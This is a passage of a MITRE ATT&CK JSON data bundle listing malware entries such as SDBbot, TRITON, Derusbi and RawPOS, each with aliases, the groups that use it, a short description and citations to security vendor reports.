2020)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["SDBbot"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--92b03a94-7147-4952-9d5a-b4d24da7487c","created":"2020-06-01T12:29:05.241Z","x_mitre_version":"2.1","external_references":[{"source_name":"mitre-attack","external_id":"S0461","url":"https://attack.mitre.org/software/S0461"},{"source_name":"IBM TA505 April 2020","url":"https://securityintelligence.com/posts/ta505-continues-to-infect-networks-with-sdbbot-rat/","description":"Frydrych, M. (2020, April 14). TA505 Continues to Infect Networks With SDBbot RAT. Retrieved May 29, 2020."},{"source_name":"Proofpoint TA505 October 2019","url":"https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader","description":"Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[SDBbot](https://attack.mitre.org/software/S0461) is a backdoor with installer and loader components that has been used by [TA505](https://attack.mitre.org/groups/G0092) since at least 2019.(Citation: Proofpoint TA505 October 2019)(Citation: IBM TA505 April 2020)","modified":"2022-07-18T16:01:14.539Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"SDBbot","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T00:38:26.326Z","name":"Mosquito","description":"[Mosquito](https://attack.mitre.org/software/S0256) is a Win32 backdoor that has been used by [Turla](https://attack.mitre.org/groups/G0010). [Mosquito](https://attack.mitre.org/software/S0256) is made up of three parts: the installer, the launcher, and the backdoor. The main backdoor is called CommanderDLL and is launched by the loader program. (Citation: ESET Turla Mosquito Jan 2018)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.3","x_mitre_aliases":["Mosquito"],"type":"malware","id":"malware--92b55426-109f-4d93-899f-1833ce91ff90","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0256","external_id":"S0256"},{"source_name":"Mosquito","description":"(Citation: ESET Turla Mosquito Jan 2018)"},{"source_name":"ESET Turla Mosquito Jan 2018","description":"ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.","url":"https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Arie Olshtein, Check Point","Kobi Eisenkraft, Check Point"],"x_mitre_aliases":["RTM","Redaman"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--92ec0cbd-2c30-44a2-b270-73f4ec949841","created":"2017-05-31T21:33:26.565Z","x_mitre_version":"1.2","external_references":[{"source_name":"mitre-attack","external_id":"S0148","url":"https://attack.mitre.org/software/S0148"},{"source_name":"Redaman","description":"(Citation: Unit42 Redaman January 2019)"},{"source_name":"Unit42 Redaman January 2019","url":"https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/","description":"Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020."},{"source_name":"ESET RTM Feb 2017","url":"https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf","description":"Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"[RTM](https://attack.mitre.org/software/S0148) is custom malware written in Delphi. It is used by the group of the same name ([RTM](https://attack.mitre.org/groups/G0048)). Newer versions of the malware have been reported publicly as Redaman.(Citation: ESET RTM Feb 2017)(Citation: Unit42 Redaman January 2019)","modified":"2022-07-29T19:51:00.660Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"RTM","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-07-25T20:19:09.713Z","name":"QUIETCANARY","description":"[QUIETCANARY](https://attack.mitre.org/software/S1076) is a backdoor tool written in .NET that has been used since at least 2022 to gather and exfiltrate data from victim networks.(Citation: Mandiant Suspected Turla Campaign February 2023)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_contributors":["Yoshihiro Kori, NEC Corporation","Manikantan Srinivasan, NEC Corporation India","Pooja Natarajan, NEC Corporation India"],"x_mitre_aliases":["QUIETCANARY","Tunnus"],"type":"malware","id":"malware--93289ecf-4d15-4d6b-a9c3-4ab27e145ef4","created":"2023-05-19T20:18:52.141Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1076","external_id":"S1076"},{"source_name":"Tunnus","description":"(Citation: Mandiant Suspected Turla Campaign February 2023)"},{"source_name":"Mandiant Suspected Turla Campaign February 2023","description":"Hawley, S. et al. (2023, February 2). Turla: A Galaxy of Opportunity. Retrieved May 15, 2023.","url":"https://www.mandiant.com/resources/blog/turla-galaxy-opportunity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-10-20T17:47:16.193Z","name":"TRITON","description":"This entry was deprecated as it was inadvertently added to Enterprise; a similar Software entry was created for ATT&CK for ICS.\n\n[TRITON](https://attack.mitre.org/software/S0609) is an attack framework built to interact with Triconex Safety Instrumented System (SIS) controllers. [TRITON](https://attack.mitre.org/software/S0609) was deployed against at least one target in the Middle East. (Citation: FireEye TRITON 2017)(Citation: FireEye TRITON 2018)(Citation: Dragos TRISIS)(Citation: CISA HatMan)(Citation: FireEye TEMP.Veles 2018)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":true,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["TRITON","HatMan","TRISIS"],"type":"malware","id":"malware--93ae2edf-a598-4d2d-acd7-bcae0c021923","created":"2021-01-11T21:27:41.573Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0609","external_id":"S0609"},{"source_name":"CISA HatMan","description":"CISA. (2019, February 27). MAR-17-352-01 HatMan-Safety System Targeted Malware. Retrieved January 6, 2021.","url":"https://us-cert.cisa.gov/sites/default/files/documents/MAR-17-352-01%20HatMan%20-%20Safety%20System%20Targeted%20Malware%20%28Update%20B%29.pdf"},{"source_name":"Dragos TRISIS","description":"Dragos. (2017, December 13). TRISIS Malware Analysis of Safety System Targeted Malware. Retrieved January 6, 2021.","url":"https://www.dragos.com/wp-content/uploads/TRISIS-01.pdf"},{"source_name":"FireEye TEMP.Veles 2018","description":"FireEye Intelligence . (2018, October 23). TRITON Attribution: Russian Government-Owned Lab Most Likely Built Custom Intrusion Tools for TRITON Attackers. Retrieved April 16, 2019.","url":"https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html"},{"source_name":"FireEye TRITON 2017","description":"Johnson, B, et. al. (2017, December 14). Attackers Deploy New ICS Attack Framework \"TRITON\" and Cause Operational Disruption to Critical Infrastructure. Retrieved January 6, 2021.","url":"https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html"},{"source_name":"FireEye TRITON 2018","description":"Miller, S. Reese, E. (2018, June 7). A Totally Tubular Treatise on TRITON and TriStation. Retrieved January 6, 2021.","url":"https://www.fireeye.com/blog/threat-research/2018/06/totally-tubular-treatise-on-TRITON-and-tristation.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-20T22:03:44.668Z","name":"Derusbi","description":"[Derusbi](https://attack.mitre.org/software/S0021) is malware used by multiple Chinese APT groups.(Citation: Novetta-Axiom)(Citation: ThreatConnect Anthem) Both Windows and Linux variants have been observed.(Citation: Fidelis Turbo)","x_mitre_platforms":["Windows","Linux"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["Derusbi","PHOTO"],"type":"malware","id":"malware--94379dec-5c87-49db-b36e-66abc0b81344","created":"2017-05-31T21:32:18.668Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0021","external_id":"S0021"},{"source_name":"PHOTO","description":"(Citation: FireEye Periscope March 2018)"},{"source_name":"Derusbi","description":"(Citation: Novetta-Axiom)"},{"source_name":"Fidelis Turbo","description":"Fidelis Cybersecurity. (2016, February 29). The Turbo Campaign, Featuring Derusbi for 64-bit Linux. Retrieved March 2, 2016.","url":"https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2016/2016.02.29.Turbo_Campaign_Derusbi/TA_Fidelis_Turbo_1602_0.pdf"},{"source_name":"FireEye Periscope March 2018","description":"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"},{"source_name":"Novetta-Axiom","description":"Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.","url":"https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf"},{"source_name":"ThreatConnect Anthem","description":"ThreatConnect Research Team. (2015, February 27). The Anthem Hack: All Roads Lead to China. Retrieved January 26, 2016.","url":"https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["SodaMaster","DARKTOWN","dfls","DelfsCake"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--94d6d788-07bb-4dcc-b62f-e02626b00108","type":"malware","created":"2021-06-21T15:52:14.624Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0627","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0627"},{"source_name":"DARKTOWN","description":"(Citation: Securelist APT10 March 2021)"},{"source_name":"dfls","description":"(Citation: Securelist APT10 March 2021)"},{"source_name":"DelfsCake","description":"(Citation: Securelist APT10 March 2021)"},{"source_name":"Securelist APT10 March 2021","url":"https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/","description":"GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021."}],"modified":"2021-10-11T15:50:25.945Z","name":"SodaMaster","description":"[SodaMaster](https://attack.mitre.org/software/S0627) is a fileless malware used by [menuPass](https://attack.mitre.org/groups/G0045) to download and execute payloads since at least 2020.(Citation: Securelist APT10 March 2021)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-20T22:03:44.668Z","name":"Hikit","description":"[Hikit](https://attack.mitre.org/software/S0009) is malware that has been used by [Axiom](https://attack.mitre.org/groups/G0001) for late-stage persistence and exfiltration after the initial compromise.(Citation: Novetta-Axiom)(Citation: FireEye Hikit Rootkit)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.3","x_mitre_contributors":["Christopher Glyer, Mandiant, @cglyer"],"x_mitre_aliases":["Hikit"],"type":"malware","id":"malware--95047f03-4811-4300-922e-1ba937d53a61","created":"2017-05-31T21:32:14.124Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0009","external_id":"S0009"},{"source_name":"FireEye Hikit Rootkit","description":"Glyer, C., Kazanciyan, R. (2012, August 20). The “Hikit” Rootkit: Advanced and Persistent Attack Techniques (Part 1). Retrieved June 6, 2016.","url":"https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html"},{"source_name":"Novetta-Axiom","description":"Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.","url":"https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T02:25:51.549Z","name":"Grandoreiro","description":"[Grandoreiro](https://attack.mitre.org/software/S0531) is a banking trojan written in Delphi that was first observed in 2016 and uses a Malware-as-a-Service (MaaS) business model. [Grandoreiro](https://attack.mitre.org/software/S0531) has confirmed victims in Brazil, Mexico, Portugal, and Spain.(Citation: Securelist Brazilian Banking Malware July 2020)(Citation: ESET Grandoreiro April 2020)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["Grandoreiro"],"type":"malware","id":"malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7","created":"2020-11-10T21:13:44.259Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0531","external_id":"S0531"},{"source_name":"ESET Grandoreiro April 2020","description":"ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020.","url":"https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/"},{"source_name":"Securelist Brazilian Banking Malware July 2020","description":"GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020.","url":"https://securelist.com/the-tetrade-brazilian-banking-malware/97779/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Josh Campbell, Cyborg Security, @cyb0rgsecur1ty"],"x_mitre_aliases":["WellMail"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--959f3b19-2dc8-48d5-8942-c66813a5101a","type":"malware","created":"2020-09-29T17:48:27.517Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0515","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0515"},{"source_name":"CISA WellMail July 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198c","description":"CISA. (2020, July 16). MAR-10296782-3.v1 – WELLMAIL. Retrieved September 29, 2020."},{"source_name":"NCSC APT29 July 2020","url":"https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf","description":"National Cyber Security Centre. (2020, July 16). Advisory: APT29 targets COVID-19 vaccine development. Retrieved September 29, 2020."}],"modified":"2020-10-09T15:38:41.755Z","name":"WellMail","description":"[WellMail](https://attack.mitre.org/software/S0515) is a lightweight malware written in Golang used by [APT29](https://attack.mitre.org/groups/G0016), similar in design and structure to [WellMess](https://attack.mitre.org/software/S0514).(Citation: CISA WellMail July 2020)(Citation: NCSC APT29 July 2020)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["LiteDuke"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--95e2cbae-d82c-4f7b-b63c-16462015d35d","type":"malware","created":"2020-09-24T17:51:35.005Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0513","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0513"},{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2021-10-04T15:34:14.458Z","name":"LiteDuke","description":"[LiteDuke](https://attack.mitre.org/software/S0513) is a third stage backdoor that was used by [APT29](https://attack.mitre.org/groups/G0016), primarily in 2014-2015. [LiteDuke](https://attack.mitre.org/software/S0513) used the same dropper as [PolyglotDuke](https://attack.mitre.org/software/S0518), and was found on machines also compromised by [MiniDuke](https://attack.mitre.org/software/S0051).(Citation: ESET Dukes October 2019)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Alan Neville, @abnev"],"x_mitre_aliases":["Starloader"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--96566860-9f11-4b6f-964d-1c924e4f24a4","type":"malware","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0188","external_id":"S0188"},{"source_name":"Starloader","description":"(Citation: Symantec Sowbug Nov 2017)"},{"url":"https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments","description":"Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.","source_name":"Symantec Sowbug Nov 2017"}],"modified":"2020-03-18T16:01:37.852Z","name":"Starloader","description":"[Starloader](https://attack.mitre.org/software/S0188) is a loader component that has been observed loading [Felismus](https://attack.mitre.org/software/S0171) and associated tools. (Citation: Symantec Sowbug Nov 2017)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T00:10:10.398Z","name":"Sakula","description":"[Sakula](https://attack.mitre.org/software/S0074) is a remote access tool (RAT) that first surfaced in 2012 and was used in intrusions throughout 2015. (Citation: Dell Sakula)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["Sakula","Sakurel","VIPER"],"type":"malware","id":"malware--96b08451-b27a-4ff6-893f-790e26393a8e","created":"2017-05-31T21:32:48.482Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0074","external_id":"S0074"},{"source_name":"Dell Sakula","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. Retrieved January 26, 2016.","url":"http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["VaporRage"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--96eca9b9-b37f-42f1-96dc-a2c441403194","type":"malware","created":"2021-08-04T15:02:56.965Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0636","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0636"},{"source_name":"MSTIC Nobelium Toolset May 2021","url":"https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/","description":"MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021."}],"modified":"2021-08-04T15:46:36.800Z","name":"VaporRage","description":"[VaporRage](https://attack.mitre.org/software/S0636) is a shellcode downloader that has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2021.(Citation: MSTIC Nobelium Toolset May 2021)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Walker Johnson"],"x_mitre_aliases":["RawPOS","FIENDCRY","DUEBREW","DRIFTWOOD"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--9752aef4-a1f3-4328-929f-b64eb0536090","type":"malware","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0169","url":"https://attack.mitre.org/software/S0169","source_name":"mitre-attack"},{"source_name":"RawPOS","description":"(Citation: Kroll RawPOS Jan 2017) (Citation: TrendMicro RawPOS April 2015) (Citation: DarkReading FireEye FIN5 Oct 2015)"},{"source_name":"FIENDCRY","description":"The FIENDCRY component is a memory scraper based on MemPDump that scans through process memory looking for regular expressions. Its stage 1 component scans all processes, and its stage 2 component targets a specific process of interest. (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: Github Mempdump) (Citation: DarkReading FireEye FIN5 Oct 2015)"},{"source_name":"DUEBREW","description":"The DUEBREW component is a Perl2Exe binary launcher. (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: DarkReading FireEye FIN5 Oct 2015)"},{"source_name":"DRIFTWOOD","description":"The DRIFTWOOD component is a Perl2Exe compiled Perl script used by G0053 after they have identified data of interest on victims. (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: DarkReading FireEye FIN5 Oct 2015)"},{"source_name":"Kroll RawPOS Jan 2017","description":"Nesbit, B. and Ackerman, D. (2017, January). Malware Analysis Report - RawPOS Malware: Deconstructing an Intruder’s Toolkit. Retrieved October 4, 2017.","url":"https://www.kroll.com/en/insights/publications/malware-analysis-report-rawpos-malware"},{"source_name":"TrendMicro RawPOS April 2015","description":"TrendLabs Security Intelligence Blog. (2015, April). RawPOS Technical Brief. Retrieved October 4, 2017.","url":"http://sjc1-te-ftp.trendmicro.com/images/tex/pdf/RawPOS%20Technical%20Brief.pdf"},{"source_name":"Visa RawPOS March 2015","description":"Visa. (2015, March). Visa Security Alert: \"RawPOS\" Malware Targeting Lodging Merchants. Retrieved October 6, 2017.","url":"https://usa.visa.com/dam/VCOM/download/merchants/alert-rawpos.pdf"},{"source_name":"Mandiant FIN5 GrrCON Oct 2016","description":"Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.","url":"https://www.youtube.com/watch?v=fevGZs0EQu8"},{"source_name":"DarkReading FireEye FIN5 Oct 2015","description":"Higgins, K. (2015, October 13). Prolific Cybercrime Gang Favors Legit Login Credentials. Retrieved October 4, 2017.","url":"https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?"},{"source_name":"Github Mempdump","description":"DiabloHorn. (2015, March 22). mempdump. Retrieved October 6, 2017.","url":"https://github.com/DiabloHorn/mempdump"}],"modified":"2020-03-30T03:01:39.526Z","name":"RawPOS","description":"[RawPOS](https://attack.mitre.org/software/S0169) is a point-of-sale (POS) malware family that searches for cardholder data on victims. It has been in use since at least 2008. (Citation: Kroll RawPOS Jan 2017) (Citation: TrendMicro RawPOS April 2015) (Citation: Visa RawPOS March 2015) FireEye divides RawPOS into three components: FIENDCRY, DUEBREW, and DRIFTWOOD. (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: DarkReading FireEye FIN5 Oct 2015)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-27T19:54:34.154Z","name":"Sibot","description":"[Sibot](https://attack.mitre.org/software/S0589) is dual-purpose malware written in VBScript designed to achieve persistence on a compromised system as well as download and execute additional payloads. Microsoft discovered three [Sibot](https://attack.mitre.org/software/S0589) variants in early 2021 during its investigation of [APT29](https://attack.mitre.org/groups/G0016) and the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024).(Citation: MSTIC NOBELIUM Mar 2021)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["Sibot"],"type":"malware","id":"malware--979adb5a-dc30-48f0-9e3d-9a26d866928c","created":"2021-03-12T18:08:23.552Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0589","external_id":"S0589"},{"source_name":"MSTIC NOBELIUM Mar 2021","description":"Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021.","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-10T20:29:50.729Z","name":"ZxxZ","description":"[ZxxZ](https://attack.mitre.org/software/S1013) is a trojan written in Visual C++ that has been used by [BITTER](https://attack.mitre.org/groups/G1002) since at least August 2021, including against Bangladeshi government personnel.(Citation: Cisco Talos Bitter Bangladesh May 2022)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["ZxxZ"],"type":"malware","id":"malware--97cfbdc6-504d-41e9-a46c-78a9f806ff0d","created":"2022-06-02T12:27:33.899Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1013","external_id":"S1013"},{"source_name":"Cisco Talos Bitter Bangladesh May 2022","description":"Raghuprasad, C . (2022, May 11). Bitter APT adds Bangladesh to their targets. Retrieved June 1, 2022.","url":"https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-10-18T15:53:30.609Z","name":"Tarrask","description":"[Tarrask](https://attack.mitre.org/software/S1011) is malware that has been used by [HAFNIUM](https://attack.mitre.org/groups/G0125) since at least August 2021. [Tarrask](https://attack.mitre.org/software/S1011) was designed to evade digital defenses and maintain persistence by generating concealed scheduled tasks.(Citation: Tarrask scheduled task)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_contributors":["Sittikorn 